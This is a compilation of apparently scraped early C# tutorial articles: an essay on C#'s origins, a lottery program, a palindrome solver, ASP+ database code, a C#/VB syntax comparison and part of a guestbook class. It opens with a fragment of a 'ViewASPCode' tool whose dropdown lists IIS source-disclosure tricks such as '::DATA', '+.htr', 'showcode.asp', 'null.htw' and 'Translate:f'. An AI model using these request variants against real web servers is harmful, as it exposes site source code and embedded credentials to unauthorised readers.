label3.TabIndex = 5;
txtFileName.Location = new System.Drawing.Point (304, 16);
txtFileName.TabIndex = 3;
txtFileName.Size = new System.Drawing.Size (232, 21);
this.Text = "ViewASPCode";
this.StartPosition = System.WinForms.FormStartPosition.CenterScreen;
this.AutoScaleBaseSize = new System.Drawing.Size (6, 14);
this.Menu = this.mainMenu1;
this.ClientSize = new System.Drawing.Size (568, 441);
this.Controls.Add (this.barStatus);
this.Controls.Add (this.btnClear);
this.Controls.Add (this.txtResult);
this.Controls.Add (this.btnGo);
this.Controls.Add (this.label3);
this.Controls.Add (this.cboMethod);
this.Controls.Add (this.txtFileName);
this.Controls.Add (this.label2);
this.Controls.Add (this.txtServer);
this.Controls.Add (this.label1);
}

//菜单项about点击，显示about对话框
protected void mnuAbount_Click (object sender, System.EventArgs e)
{
about objAbout = new about() ;
objAbout.ShowDialog(this) ;
objAbout.Dispose() ;
}

//初始化窗口
private void InitForm()
{
this.cboMethod.Items.Add("直接读取") ;
this.cboMethod.Items.Add(".") ;
this.cboMethod.Items.Add("%81") ;
this.cboMethod.Items.Add("::DATA") ;
this.cboMethod.Items.Add("%2e") ;
this.cboMethod.Items.Add("%2e%41sp") ;
this.cboMethod.Items.Add("+.htr") ;
this.cboMethod.Items.Add("\\") ;
this.cboMethod.Items.Add("longhtr") ;
this.cboMethod.Items.Add(".bak") ;
this.cboMethod.Items.Add("codebrws.asp") ;
this.cboMethod.Items.Add("showcode.asp") ;
this.cboMethod.Items.Add("null.htw") ;
this.cboMethod.Items.Add("qfullhit.htw") ;
this.cboMethod.Items.Add("qsumrhit.htw") ;
this.cboMethod.Items.Add("query.idq") ;
this.cboMethod.Items.Add("search/qfullhit.htw") ;
this.cboMethod.Items.Add("search/qsumrhit.htw") ;
this.cboMethod.Items.Add("iirturnh.htw") ;
this.cboMethod.Items.Add(".htw") ;
this.cboMethod.Items.Add("Translate:f") ;

this.cboMethod.SelectedIndex = 0 ;
}

//新建
protected void mnuNew_Click (object sender, System.EventArgs e)
{
this.txtServer.Text = "http://" ;
this.txtFileName.Text = "" ;
this.txtResult.Text = "" ;
}

//清除结果
protected void btnClear_Click (object sender, System.EventArgs e)
{
this.txtResult.Text = "" ;
}


csdn_C#，自然的进步

C#，自然的进步
C#，自然的进步
随着 Visual J++ 的隐退，Microsoft 引入 C# 来填补这一空白

Michael L. Perry
Mallard 软件设计师
2000 年 8 月

Microsoft 对因特网的新视野与当今在线内容的网络相去甚远。Microsoft 预见未来的因特网是一个由不同的人用不同的语言在不同的硬件平台上开发出的互相关联的服务，可以被运行在不同的因特网操作系统之上。

该公司为大胆设想的这个新世界所提供的就是 .Net 平台。实际上，.Net 并不是传统意义上的平台；它并不是一种公共的硬件或软件系统。.Net 实际上是一个协议集合，它允许因特网应用程序利用运行在不同机器上的不同服务。

Microsoft 新战略的结果就是下一代的 Microsoft Visual Studio 将有重新设计的语言，尤其是能支持 .Net 平台。Java 将不再此程序包中，Visual J++ 也不会再有新的版本。不要担心，Microsoft 将推出一个新的语言 C# 来填补这一空白。该公司动用了其最好的资源，包括星级语言专家 Anders Hejlsberg，来开发 C#。

非他莫属：Anders Hejlsberg，语言体系结构设计师
考虑一下 Hejlsberg 的经历，就不会奇怪 Microsoft 将此重任交给他了。毕竟，C# 将不是他对软件开发方式的首次大事改革。

作为 Borland 的首席体系结构设计师，Hejlsberg 秘密地将 Turbo Pascal 变成一种面向对象的、拥有真正可视化的环境和卓越的数据库访问特性的应用程序开发语言。曾经被吹捧为“VB 杀手”的 Delphi 依然是 Borland（现在为 Inprise/Borland）的拳头产品。

Microsoft 用丰厚的薪水、股票认购权和巨额的加盟奖金雇请了 Hejlsberg 之后，Borland 曾提出通过不正当手段吸收新成员的控告。Borland 还曾声称 — 提供了很少的细节来支持指控 — Hejlsberg 正在开发“Delphi for Java”。这场诉讼最终以 Borland 的胜利而收场；但是从那时起，Microsoft 已在让 Hejlsberg 工作了。

Hejlsberg 充实了 Microsoft 的 Java 产品；其中格外引人注意的是，为了跟上其他 Visual Studio 语言的现行版本号，他人为地在一个发行版中将其版本号从 1.1 提升到 6.0。实际上，这个版本号的跳跃并未夸大 6.0 与其前一版本之间的差别。Hejlsberg 添加的功能已使该语言变成一种强大的 Windows 应用程序开发平台。添加的功能包括对 Windows API 的访问；因此，利用这些新功能的程序不再具有可移植性。

Hejlsberg 对 Microsoft 的 Java 产品的更改促使 Sun 控告 Microsoft 违反了 Java 许可协议。Sun 声称，Visual J++ 语言扩展没有保持 Java 的平台中立性，而是将开发人员锁定在 Microsoft 平台上。尽管 Microsoft 的 Visual J++ 事实上是最好的 Java 编译器，并且该公司的虚拟器（执行 Java 字节码的运行期模块）是最快的一种虚拟机，但 Sun 的诉讼已有效地阻止了 Microsoft 在 Java 舞台中的竞争。

Microsoft 的反应是完全从 Java 中退出来，并用一种新的基础因特网平台 — .Net — 和一种新的旗帜语言 — C# 来取代它。Anders Hejlsberg 是完成后一工作的自然选择。

证明一种新编程语言的合理性
最近有关 C# 争论 的一些新闻声称开发人员还不会收受另一种编程语言。虽然现在确实已经有几种有用的语言可供开发人员使用，但仍有空间容纳另一种语言 — 假如它填补了仍未满足的需要。一种新的语言毕竟只是专业人员可用来创建软件解决方案的另一种工具。让我们分析一下 Microsoft 为 C# 制定的目标，以及其他语言到目前为止还没有满足这些目标的情况。

快速应用程序开发：Microsoft 为 C# 制定的最重要的目标之一就是支持 RAD。因特网应用程序必须以因特网节奏开发；一种新语言必须易于学习和调试，而且必须生成易于更新的代码。虽然 Delphi 和 VB 在这些方面很出色，但 C++ 却没有这么成功。语言本身复杂而难以掌握，而且很少有有用的 C++ 库提供简单的接口。此外，C++ 的手动内存管理和复杂的类型转换模型使它难以调试。
此外，正如我们将在下面看到的那样，C++ 本质上不防止由于版本不兼容而导致的潜在问题。尽管 Microsoft 和 Borland 对这种语言作了巨大的努力，但 C++ 仍然不适合快速应用程序开发。

跨平台部署：根据定义，因特网语言应该支持跨平台的部署。因为因特网是不同系统的一个网络，所以必须将服务部署到各式各样的硬件和软件上。 此外，客户端软件应该能够运行在多种类型的设备上，包括 PDA 和蜂窝式便携无线电话。 这种灵活性事实上是对除 Java 之外的所有语言的一种挑战。VB 尤其只能生成在基于 Intel 微处理器的机器上运行的 Windows 应用程序。Delphi 也受到同样的限制。Delphi for Linux 不久就会发布，但它也不支持因特网设备。VB 和 Delphi 都不符合跨平台部署的目标。

访问平台固有的资源：据 Microsoft 称，开发人员需要访问平台固有的资源。对于编写强大的目标应用程序而言，这种访问有时是必不可少的。Visual J++ 6.0 允许开发人员访问 Windows API，Java 通常不允许这种访问。Java 通过定义每种虚拟机实现的最小公分母标准来提供跨平台的部署。Java 开发人员依据这种削弱的标准编写代码，而不能利用只有某些平台才提供的更强大的服务。这样，Java 无法满足提供对平台固有资源的访问这一目标。

支持 COM 和 .Net 平台：Microsoft 已将支持 COM 和 .Net 平台确定为 C# 的最重要的目标。当然，目前还没有一种语言支持 .Net 平台，因为它仍在构建中。与 .Net 不同，COM 已出现相当一段时间了，但它仍然缺少强大的语言支持。大多数语言，包括 C++ 和 Delphi，都要求开发人员为他们所创建的每个 COM 对象创建一个额外的 IDL 声明、一个类工厂和专用的修饰。
某些语言厂商已提供了一些向导来自动完成许多常见的 COM 和 OLE 任务，但这些工具没有完全隐藏 COM 的复杂性。VB 确实成功隐藏了 COM 的复杂性，但这是以牺牲功能为代价换来的。VB 不仅缺乏面向对象语言的力量；它也无法支持 COM 的低级功能 — 例如，多个接口、聚集和自定义编排。简而言之，没有一种现有的语言像 C# 那样全面支持 COM。

虽然这四个目标对于一种新语言是相当高的，但 Hejlsberg 在工作中已拿出自己最好的经验来确保 C# 实现这些目标。结果是产生了一种语言，这种语言从 Java 和 Delphi 中借鉴东西与从 C 和 C++ 借鉴的东西一样多（如果没有超过的话）。请注意，下面的信息基于 C# 操作规程，可能不准确代表最终的产品发行版。

C# 是一种 RAD 环境

C# 提供 Java 风格的垃圾收集：C# 提供的最重要的 RAD 功能之一就是 Java 风格的垃圾收集。在运行时的任意时间内，所有没有引用的对象会自动删除。通过将开发人员从手动内存管理任务中解放出来，垃圾收集使程序开发变得容易且不易出错。但是，自动垃圾收集是耗时的，并且是不可预知的。因此，C# 允许开发人员在要求实时性能的情况下局部禁用垃圾收集 — 通过将代码标记为 unsafe。

C# 实现了 Java 和 Delphi 风格的值/引用类型系统：为了进一步支持 RAD，C# 始终以 Java 和 Delphi 风格的值/引用类型系统处理 C/C++ 指针模型。在这个系统中，内建类型（integer、real、string，等等）、枚举 (enumeration) 和结构 (structure) 都是值类型。赋值运算符和比较运算符复制并检查这些类型的变量的值。接口、类和授权（将在后面说明）都是引用类型。赋值运算符和比较运算符复制并检查这些类型的变量所引用的对象的同一性。
这种值/引用类型系统比 C++ 的指针模型要简单得多。它使对象处理更加容易，并消除了困扰 C 和 C++ 程序的许多内存错误。

C# 接口是独立于类来声明的：C# 也支持类似 Java 和 Delphi 的接口模型，接口是独立于类来声明的。这与 C++ 模型是对立的，在 C++ 中接口实际上就是抽象基类。接口和类都可以继承多个接口。而类可以继承一个基类，接口根本不能继承类。这种模型避免了 C++ 的多继承问题，C++ 中不同基类中的实现可能出现冲突。因此也不再需要诸如虚拟继承和显式作用域这类复杂机制。C# 的简化接口模型有助于加快应用程序的开发。

类方法的声明和定义被组合在一起：C# 简化开发的另一个方面是将类方法的声明和定义组合在一起，与 Java 的做法十分类似。 C++ 开发人员必须为声明（头文件）和定义（实现文件）维护单独的文件，结果使得软件开发过程变得复杂。C# 甚至能够自动找出源代码模块之间的关系，从而使开发人员从一项附加的杂务中解脱出来。尽管 C++ 需要使用 #include（Delphi 需要使用 uses）来定位相关的源文件，但 C# 不需要任何额外的语句。

C# 使用方法引用，称为授权，而不使用方法指针：C# 使用方法引用来快速连接对象和方法。称为授权的这些方法引用类似于 Delphi 的过程类型。Hejlsberg 也将同一机制引入 Visual J++ 6.0 中，不过它并不是标准 Java 规范的一部分。方法引用有点像 C++ 的方法指针，但它要优越、安全和有用得多。
授权是一种引用类型，它持有方法的签名。 应用程序可将符合这一签名的任何方法赋给授权变量。当调用这种授权变量时，相关的方法就会被调用。与 Delphi 的过程类型不同，C# 授权自动支持多点传送。应用程序可以将许多方法赋给一个授权变量；当调用此变量时，所有方法都会被调用。

C# 使用 Java 的简单线程同步机制。要在 C# 中实现线程同步，开发人员只须对关键的代码块作标志即可。 Java 开发人员使用 synchronized 关键字，而 C# 开发人员使用 lock。隐藏的互斥块将带有标志的代码块包装起来，在任一时刻只允许一个线程执行这段代码。除了关键字不同之外，这一机制在 C# 和 Java 中是完全相同的。因为线程所有编程任务最容易出错的一种，对同步进行简化的任何特性都有助于快速应用程序开发。

显式的重载声明：最后，C# 使用显式的重载声明来支持 RAD。显式的重载声明通过保护类的方法名称空间并指出意外的命名冲突来支持快速应用程序开发。
C# 导出类的开发人员必须显式地用关键字 override 标记方法重载，正像在 Delphi 中所做的那样。如果导出类包含一个与基类中的一个虚方法同名的未标记方法，则编译器无法明确辨别作者的意图。

另一方面，命名冲突可能是不可避免的；尤其是当基类和导出类由不同的程序员（可能为不同的公司工作）实现时更是不可避免。在这种情况下，编译器将发出一个警告，并将导出类的方法视为一个新声明，而不将其视为重载。

另一方面，如果程序员有意让导出类中的一个新方法与基类中的某个虚方法同名，则他（或她）可以使用 new 关键字来阻止编译器发出警告。

C# 的其他特性
考虑一下刚刚讨论过的的所有语言特性，对 RAD 的强大支持似乎是 Microsoft 为 C# 制定的一个最主要的目标。但是，C# 还必须致力于其他重要的开发需求。这些需求包括跨平台部署、访问平台固有的资源和对 COM 和 .Net 平台的支持。让我们分析一下旨在支持这些需求的 C# 语言特性。

跨平台部署：C# 以 Java 解决这一问题的相同方式解决了跨平台部署的问题。C# 编译器生成由 .Net 运行时解释的字节码流。运行时组件的工作方式与 Java 虚拟机十分类似；应用程序可以部署到已安装了 .Net 运行时的任何设备上。

应用程序对平台固有资源的访问：与 Java 虚拟机不同，.Net 运行时允许程序访问平台固有的资源。 例如，一个 C# 程序可以利用 Windows API 作为 Windows 2000 上全功能的应用程序运行。通过使用 Windows CE API 子集，同一个程序也可以在 PDA 上运行。 当然，并不是应用程序预期的所有服务都可在所有设备上获得。因此在所有目标平台上测试软件是开发人员的责任，如有必要，开发人员还可以编写特殊情况的代码，那将使系统在缺少所需的服务时仍能够工作。

支持 COM 和 .Net：为了支持 COM 和 .Net 平台，C# 包含一种称为属性的独特语言特性。一个属性实际上就是一个 C# 类，它通过修饰源代码来提供元信息。属性使 C# 能够支持特定的技术，如 COM 和 .Net，而不会干扰语言规范本身。
例如，C# 提供将 C# 接口转换为 COM 接口的属性类。另一些属性类将 C# 类转换为 COM 类。执行这些转换不需要任何 IDL 或类工厂。某些语言观察家声称所有 C# 类都是 COM 对象。这不正确 — 但通过合适的属性，任何 C# 类很容易转换为一个 COM 对象。

随编译器提供的另一个属性库将 C# 类和函数包装为 Web 服务。Web 服务是可在因特网上通过交互协议（如 SOAP）调用的托管软件模块。SOAP 将方法调用与它们的参数和返回值一起包装在 XML 数据包中。Web 服务可用许多语言编写，并可部署到许多硬件和软件平台上。而且，不同类型的 Web 服务可以协作组成整个 Web 应用程序。通过使用正确的属性，程序员很容易将任何 C# 类或函数转换为 Web 服务。

C# 不具备的特性
与 Anders Hejlsberg 的经历一致，C# 用来支持因特网应用程序的许多特性是从 Delphi 和 Java 挑选而来的。而 Microsoft 声称 C# 是从 C 和 C++ 转变而来的。因此让我们分析一下 C# 不具备的某些 C++ 特性。

作用域和非关联化操作符：C# 不使用 C++ 作用域操作符 (::)；而是依赖于 Delphi 和 Java 中类似的点操作符 (.)。此外，因为它基于前面说明的 Java 和 Delphi 风格的值/引用类型系统，在大多数情况下 C# 不使用 C++ 的非关联化访问符 (->)，而是再次实现了点操作符。虽然重载的点操作符可能使刚开始学习 C# 的 C++ 程序员感到迷惑，但这对 Java 和 Delphi 开发人员来说是相当熟悉的。

引用声明语法：因为类、接口和授权类型默认情况下都是引用，所以 C# 没有 C++ 的引用声明语法。这种新语言改为使用类似于 Delphi 声明按引用传递参数的语法：
无标记的参数是输入参数
ref 关键字指定一个输入/输出参数（类似于 Delphi 的 var）
out 关键字指定一个输出参数
params 关键字指定一个变长参数列表（类似于 Delphi 的 variant open-array 参数）

模板：与 Java 和 Delphi 一样，C# 没有模板。因此，C# 没有支持声明类型安全的集合的机制。每个类最终都是从共同的基类 object 导出的。一般集合类必须是一个 object 集合，需要将它的成员不安全地下溯类型转换为所需的类型。
尽管没有 C++ 的这些语言特性，但 C# 仍然是一种功能强大的编程语言，围绕类似 Java 和 Delphi 的特性进行设计来支持因特网应用程序。因为 C++ 对机器级的关注以及缺少 RAD 支持，所以它不适合用作因特网应用程序开发语言的基础。如果 C++ 开发人员需要针对 .Net 平台编写应用程序和服务，则在 C# 发布以后将会被极力建议学习这种语言 — 请记住，它与 C++ 的实际区别比它们的名称所表明的区别要大得多。

在这个过渡时期，最好学习 Java 或 Delphi。不仅因为这两种语言将使您更好地理解 C#，而且因为这两种语言本身也是非常有用的语言。作为软件专业人员，我们应该利用可获得的最好的工具。

作者简介
Michael L. Perry 六年多来一直从事专业 Windows 开发，并拥有 COM+、Java、XML 等方面的专家经验以及目前塑造编程前景的其他技术。他于 1998 年成立了 Mallard Software Designs 公司，在公司内他用数学严格证明软件设计 — 在实现之前首先建立解决方案的正确性。


csdn_c#的抽奖程序[英文]

c#的抽奖程序[英文]
A Lottery program in C#
Author Submission Date User Level
John O’Donnell 05/05/2001 Beginner

So why a lottery program?? Like everyone else, I am learning C# in any spare time I have and instead of diving in and writing a monster program I thought a nice introduction would be good. I chose the Lottery program as it allowed me to play with the .Net Random and Stack class.

The problem is this. To generate a selection of unique random values. So if I want 6 numbers and want to in effect simulate rolling a 6 sided dice I would enter 6 at the first prompt and 6 at the second. Note that because we do not want duplicate numbers your Number Range ie the second question should be either the same or larger than your first entry

Here in the UK our national lottery requires you select 6 unique numbers who’s value must be between 1 and 44 (I think) so of course you enter 6 at first prompt and 44 at second.

The random class is easy to use and after declaring a new instance using Random r = new Random(); you can use the .Next method to get a random number. The gotcha is that if you wanted a random number between 1 and 6 and did r.Next(), you would actually get a value from 0 to 5. There is another way where you can specify a from to range ie r.Next(1,6) however at this point I thought lets write a dice class so I can learn about creating my own additional classes. This class has only one method – RollDice and if you pass in a value of 6 it will return from 1 to 6 and ignore zero values.

Our UK lottery requires 6 unique values so if I roll my dice how to do it. In the old days we would maybe use an array and check the array to see if my value was already there but hey! – we’re using .NET now, there must be a better way.

The .Net framework provides a Stack class which is sort of like assembly language in that you can push items onto the stack and retrieve them later. In my case I don’t care that the first item in is the last item out. However of real use is the Contains method of the Stack class which allows you to see if a value is already on the stack. Looking at the documentation it almost looks like anything can be pushed and pulled on the stack. If you want to retrieve items of the stack in the order you pushed them ie first in first out, Microsoft has also added a class called Queue which more or less works the same way as the Stack class. Instead of Push and Pull methods you have Enqueue and Dequeue (hey I didn’t make these names up!).

Compile from the command prompt using csc lottery.cs

Conclusions.

Microsoft have created an easy to use development framework which actually makes coding fun again! I highly recommend you read the docs thoroughly as there of many useful classes to be found. Also the development system and in particualar its context sensitive help is a joy to use and makes all the features of the .Net framework very discoverable.

Roll on Beta 2!

Source Code:

//Example Lottery program to generate a set of unique psuedo random numbers
//Written in C# with Microsoft .NET beta 1
//Shows use of Random and Stack class.
//J O'Donnell 04/05/01
//wincepro@hotmail.com

namespace Lottery{

using System;

using System.Collections;

//Main Lottery Class

public class Lottery

{

public static int Numbers, EndRange;

//Displays titles and gets start values

public static void DisplayTitles()

{

EndRange=0;

Numbers=1;

while (EndRange<Numbers)

{

System.Console.WriteLine("========================");

System.Console.WriteLine("Lottery number generator");

System.Console.WriteLine("========================");

System.Console.Write("How many unique numbers? : ");

Numbers = System.Console.ReadLine().ToInt32();

System.Console.Write("Enter end range : ");

EndRange = System.Console.ReadLine().ToInt32();

}

}

//Generate our unique numbers and push them onto stack

public static void GenerateNumbers(Stack s, Dice d)

{

bool exists=true;

int i;

int val;

for (i=1;i<=Numbers;i++)

{

val=d.RollDice(EndRange); //Roll EM!

exists=s.Contains(val);

while (exists==true)

{ val=d.RollDice(EndRange); //Reroll if we already

exists=s.Contains(val); //have that number

}

s.Push(val);

}

}

//Retrieve all values from the stack and output to console

public static void DisplayResults(Stack s)

{

for (int i=1;i<=Numbers;i++)

{

System.Console.WriteLine(s.Pop());

}

}

//Entry point for program

public static int Main(string[] args)

{

Stack s = new Stack();

Dice d = new Dice();

DisplayTitles();

GenerateNumbers(s,d);

DisplayResults(s);

return 0;

}

}

//Class to simulate a dice

public class Dice

{

public int RollDice(int sides)

{

Random r = new Random();

int i;

i=0;

while(i==0)

{

i=r.Next(sides+1); //Get another random number } //discard zero values

return i;

}

}

}

--------------------------------------------------------------------------------

About the Author: John O’Donnell is a former Microsoft Support Engineer and consultant and is an MCSE. Currently John works for Casiosoft www.casiosoft.com who specialise in Mobile Data Capture using Microsoft Pocket PC and Backoffice technology. He can be contacted at wincepro@hotmail.com


csdn_来自重粒子的C#程序

来自重粒子的C#程序
Palin.cs
--------------
using System;
using System.Collections;

struct Pld{
public int level;
public String str;
}

class Palin{
public static int Main(string[] args){
if (args.Length != 1){
Console.WriteLine("Usage: one argument");
return -1;
}
Queue queuePalin = new Queue();
Pld currState;
int i,j,len;
String palindrome;

currState.level = 0;
currState.str = args[0];
queuePalin.Enqueue(currState);

while(queuePalin.Count > 0){
currState = (Pld)queuePalin.Dequeue();
palindrome = (String)currState.str;
len = palindrome.Length;

for(i = 0, j = len - 1;i < j && palindrome[i] == palindrome[j];
i++,j--);
if( i < j ){
currState.level++;
currState.str = palindrome.Substring(i+1,j-i);
queuePalin.Enqueue(currState);
currState.str = palindrome.Substring(i,j-i);
queuePalin.Enqueue(currState);
}else{
Console.WriteLine(currState.level);
return 0;
}
}
Console.WriteLine("Error!");
return -2;
}
}
--------------
csc palin.cs
palin dAb3d
--------------
2
--------------


csdn_C#对数据库的操作

C#对数据库的操作
ASP+对数据库的操作已很简单了

<p><%@ Import Namespace="System.Data" %></p>
<p> <%@ Import Namespace="System.Data.SQL" %> </p>
<p><html> </p>
<p><script language="C#" runat="server"> public DataSet dsCustomers; protected
void Page_Load(Object Src, EventArgs E ) </p>
<p>{</p>
<p> // 创建数据库联结</p>
<p>SQLConnection myConnection = newSQLConnection("server=sql2.bitsonthewire.com;uid=joeuser;pwd=joeuser;database=northwind");
</p>
<p>SQLDataSetCommand myDSC = new SQLDataSetCommand("Select * from Region", myConnection);
</p>
<p>SQLParameter workParam = null; </p>
<p>//增加数据到数据库中</p>
<p>myDSC.InsertCommand = new SQLCommand("Insert into Region (RegionID, RegionDescription)
VALUES (@RegionID, @RegionDescription)", myConnection);</p>
<p> workParam = myDSC.InsertCommand.Parameters.Add(new SQLParameter("@RegionID",
SQLDataType.Int)); <br>
workParam.SourceColumn = "RegionID"; workParam.SourceVersion = DataRowVersion.Current;
<br>
workParam = myDSC.InsertCommand.Parameters.Add(new SQLParameter("@RegionDescription",
SQLDataType.NChar, 50));<br>
workParam.SourceVersion = DataRowVersion.Current;<br>
workParam.SourceColumn = "RegionDescription"; </p>
<p>//更新数据库中的数据<br>
myDSC.UpdateCommand = new SQLCommand("Update Region Set RegionDescription =
@RegionDescription WHERE RegionID = @RegionID" , myConnection);</p>
<p> workParam = myDSC.UpdateCommand.Parameters.Add(new SQLParameter("@RegionID",
SQLDataType.Int)); <br>
workParam.SourceColumn = "RegionID";<br>
workParam.SourceVersion = DataRowVersion.Original; </p>
<p>workParam = myDSC.UpdateCommand.Parameters.Add(new SQLParameter("@RegionDescription",
SQLDataType.NChar, 50));<br>
workParam.SourceVersion = DataRowVersion.Current; <br>
workParam.SourceColumn = "RegionDescription";</p>
<p> DataSet myDataSet = new DataSet(); <br>
myDSC.FillDataSet(myDataSet, "Region"); <br>
DataRow changeRow = myDataSet.Tables["Region"].Rows.Find(2);<br>
changeRow[1] = "Changed this region desc";<br>
DataRow newRow = myDataSet.Tables["Region"].NewRow(); <br>
newRow[0] = 901;<br>
newRow[1] = "A new region";<br>
myDataSet.Tables["Region"].Rows.Add(newRow); <br>
try { myConnection.Open(); <br>
myConnection.BeginTransaction();<br>
myDSC.Update(myDataSet, "Region");<br>
myConnection.CommitTransaction(); <br>
Response.Write("DataSet transaction succeeded!"); <br>
} </p>
<p>catch(Exception e) <br>
{<br>
myConnection.RollbackTransaction();<br>
Response.Write(e.ToString());<br>
}<br>
finally </p>
<p>{<br>
myConnection.Close();<br>
} } <br>
</script></p>
<p> <body></p>
<p> </body></p>
<p> </html> </p>
<p></td> </tr> </table> <p></p>
</body>
</html>


csdn_c#&vb两种语言语法的简要介绍

c#&vb两种语言语法的简要介绍
1.变量声名
C# 语法
int x;
String s;
String s1, s2;
Object o;
Object obj = new Object();
public String name;
VB语法
Dim x As Integer
Dim s As String
Dim s1, s2 As String
Dim o 'Implicitly Object
Dim obj As New Object()
Public name As String

2语句
C#:
Response.Write("中文c#技术站");
VB:
Response.Write("中文c#技术站")

3.注释语句
//中文c#技术站
/*
欢迎访问
，
中文c#技术站
*/

VB:
'中文c#技术站

4.获得URL 传递的变量
C#:
String s = Request.QueryString["Name"];
String value = Request.Cookies["key"];
VB:
Dim s, value As String
s = Request.QueryString("Name")
value = Request.Cookies("Key").Value
5.声明属性
C#:
public String name {

get {
...
return ...;
}

set {
... = value;
}

}

VB:
Public Property Name As String

Get
...
Return ...;
End Get

Set
... = Value;
End Set

End Property
6.数组
C#
String[] a = new String[3];
a[0] = "1";
a[1] = "2";
a[2] = "3";
//二维数组
String[][] a = new String[3][3];
a[0][0] = "1";
a[1][0] = "2";
a[2][0] = "3";
VB:
Dim a(3) As String
a(0) = "1"
a(1) = "2"
a(2) = "3"

Dim a(3,3) As String
a(0,0) = "1"
a(1,0) = "2"
a(2,0) = "3"

Dim a() As String
a(0,0) = "1"
a(1,0) = "2"
a(2,0) = "3"

Dim a(,) As String
a(0,0) = "1"
a(1,0) = "2"
a(2,0) = "3"

7变量初始化
C#:
String s = "Hello World";
int i = 1
double[] a = { 3.00, 4.00, 5.00 };
VB:
Dim s As String = "Hello World"
Dim i As Integer = 1
Dim a() As Double = { 3.00, 4.00, 5.00 }

8;判断语句(If 语句)
if (Request.QueryString != null) {
...
}

VB:
If Not (Request.QueryString = Null)
...
End If

9.分支语句(case 语句)
C#:
switch (FirstName) {
case "John" :
...
break;
case "Paul" :
...
break;
case "Ringo" :
...
break;
}
VB:
Select (FirstName)
case "John" :
...
case "Paul" :
...
case "Ringo" :
...
End Select

10 For循环语句
C#
for (int i=0; i<3; i++)
a(i) = "test";
VB:
Dim I As Integer
For I = 0 To 2
a(I) = "test"
Next

11 While 循环
C#:
int i = 0;
while (i<3) {
Console.WriteLine(i.ToString());
i += 1;
}
VB:
Dim I As Integer
I = 0
Do While I < 3
Console.WriteLine(I.ToString())
I = I + 1
Loop
12 字符串连接
C#:
String s1;
String s2 = "hello";
s2 += " world";
s1 = s2 + " !!!";
VB:
Dim s1, s2 As String
s2 = "hello"
s2 &= " world"
s1 = s2 & " !!!"

声明事件
C#:
void MyButton_Click(Object sender,
EventArgs E) {
...
}
VB:
Sub MyButton_Click(Sender As Object,
E As EventArgs)
...
End Sub

13 声明Object
C#
MyObject obj = (MyObject)Session["Some Value"];
IMyObject iObj = obj
VB:
Dim bj As MyObject
Dim iObj As IMyObject
obj = Session("Some Value")
iObj = CType(obj, IMyObject)

14 数据类型转换
C#
int i = 3;
String s = i.ToString();
double d = Double.Parse(s);
VB:
Dim i As Integer
Dim s As String
Dim d As Double

i = 3
s = i.ToString()
d = CDbl(s)

15 类的声明和继承
C#:
using System;

namespace MySpace {

public class Foo : Bar {

int x;

public Foo() { x = 4; }
public void Add(int x) { this.x += x; }
public int GetNum() { return x; }
}

}

VB:
Imports System

Namespace MySpace

Public Class Foo : Inherits Bar

Dim x As Integer

Public Sub New()
MyBase.New()
x = 4
End Sub

Public Sub Add(x As Integer)
Me.x = Me.x + x
End Sub

Public Function GetNum() As Integer
Return x
End Function

End Class

End Namespace

16 声明类的主函数
C#:
using System;

public class ConsoleCS {

public ConsoleCS() {
Console.WriteLine("Object Created");
}

public static void Main (String[] args) {
Console.WriteLine("Hello World");
ConsoleCS ccs = new ConsoleCS();
}

}

VB
Imports System

Public Class ConsoleVB

Public Sub New()
MyBase.New()
Console.WriteLine("Object Created")
End Sub

Public Shared Sub Main()
Console.WriteLine("Hello World")
Dim cvb As ConsoleVB
cvb = New ConsoleVB()
End Sub

End Class

17 标准模块
C#
using System;

public class Module {

public static void Main (String[] args) {
Console.WriteLine("Hello World");
}

}
VB:
Imports System

Public Module ConsoleVB

Public Sub Main()
Console.WriteLine("Hello World")
End Sub

End Module


csdn_利用c#制作简单的留言板(1)

利用c#制作简单的留言板(1)

留言板分三个模块：列出留言列表、显示详细内容、发表留言
notepage.cs
namespace notpage
{
using System;
using System.Data.SQL ;
using System.Data ;
using System.Collections ;

////////////////////////////////////////////////////////////////////
//
// Class Name : 留言板
//
// Description: 构造一个留言板对象
//
// date: 2000/06/06
//
// 作者： 天啦
/// ////////////////////////////////////////////////////////////////

/// <summary>
/// Summary description for notepage.
/// </summary>

public class notepage
{
//私有变量

private int n_intID ; //ID编号
private string n_strTitle ; //主题
private string n_strAuthor ; //留言人
private string n_strContent ; //留言内容
private DateTime n_dateTime ; //留言时间

//属性

public int ID
{
get
{
return n_intID ;
}
set
{
n_intID = value;
}
}

public string Title
{
get
{
return n_strTitle ;
}
set
{
n_strTitle = value;
}
}

public string Author
{
get
{
return n_strAuthor ;
}
set
{
n_strAuthor = value ;
}
}
public string Content
{
get
{
return n_strContent ;
}
set
{
n_strContent = value ;
}
}
public DateTime adddate
{

get
{
return n_dateTime;
}
set
{
n_dateTime = value;
}
}
//构造函数
public notepage()
{
//
// TODO: Add Constructor Logic here
//
this.n_intID = 0 ;
this.n_strTitle = "" ;
this.n_strAuthor = "" ;
this.n_strContent = "" ;
this.n_dateTime = System.DateTime.Now;

}

/// <summary>
///
/// 取得留言的内容
///
/// </summary>
/// <param name="a_intID"> </param>
public notepage GetTopic(int a_intID)
{
//
// TODO: Add Constructor Logic here
//

//读取数据库
myconn myConn = new myconn();

SQLCommand myCommand = new SQLCommand() ;
myCommand.ActiveConnection = myConn ;
myCommand.CommandText = "n_GetTopicInfo" ; //调用存储过程
myCommand.CommandType = CommandType.StoredProcedure ;
myCommand.Parameters.Add(new SQLParameter("@a_intTopicID" , SQLDataType.Int)) ;
myCommand.Parameters["@a_intTopicID"].Value = a_intID ;

notepage objNp = new notepage();
try
{

myConn.Open() ;
SQLDataReader myReader ;
myCommand.Execute(out myReader) ;
if (myReader.Read())
{
objNp.ID = (int)myReader["ID"] ;
objNp.Title = (string)myReader["Title"] ;
objNp.Author = (string)myReader["Author"] ;
objNp.Content = (string)myReader["Content"];
objNp.adddate = (DateTime)myReader["adddate"];
}

//清场
myReader.Close();
myConn.Close() ;

}
catch(Exception e)
{
throw(new Exception("取贴子失败:" + e.ToString())) ;
}
return objNp;

}

/// <summary>
///
/// 目的：将留言的内容入库
///
/// 利用构造函数来传递信息
///
/// </summary>
/// <param name="n_Topic"> </param>
public bool AddTopic(notepage n_Topic)
{
//
// TODO: Add Constructor Logic here
//

//读取数据库
myconn myConn = new myconn();

SQLCommand myCommand = new SQLCommand() ;
myCommand.ActiveConnection = myConn ;
myCommand.CommandText = "n_addTopic" ; //调用存储过程
myCommand.CommandType = CommandType.StoredProcedure ;
myCommand.Parameters.Add(new SQLParameter("@a_strTitle" , SQLDataType.VarChar,100)) ;
